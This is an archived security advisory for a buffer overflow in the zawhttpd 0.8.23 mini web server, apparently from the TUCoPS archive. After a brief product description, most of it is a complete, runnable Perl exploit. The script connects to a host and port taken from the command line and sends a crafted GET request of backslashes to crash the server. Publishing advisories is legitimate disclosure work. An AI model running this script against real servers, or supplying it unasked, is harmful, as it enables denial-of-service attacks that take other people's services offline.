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TUCoPS :: Web :: Servers :: b06-2008.htm

zawhttpd - Buffer Overflow



zawhttpd - Buffer Overflow
zawhttpd - Buffer Overflow



Name: zawhttpd 
Version: 0.8.23 previous version probably too.
Language: C
Problem: Buffer Overflow
Vendor: http://www.norz.org/zawhttpd.html 
Discovered by: Kamil 'K3' Sienicki

Description:
zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support, 
keep-alive persistent connections, IPv6 support, GET and HEAD requests,
chunked encoding and content-range, directory listing, basic
authentication,
access logging, daemon mode, and more.

Problem:
A remote user can supply a specially crafted data which crash server.

Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit 
#               by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
{
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";   
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        close($socket);
}
else
{
        print "perl zawhttpd.pl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

--
Kamil 'K3' Sienicki


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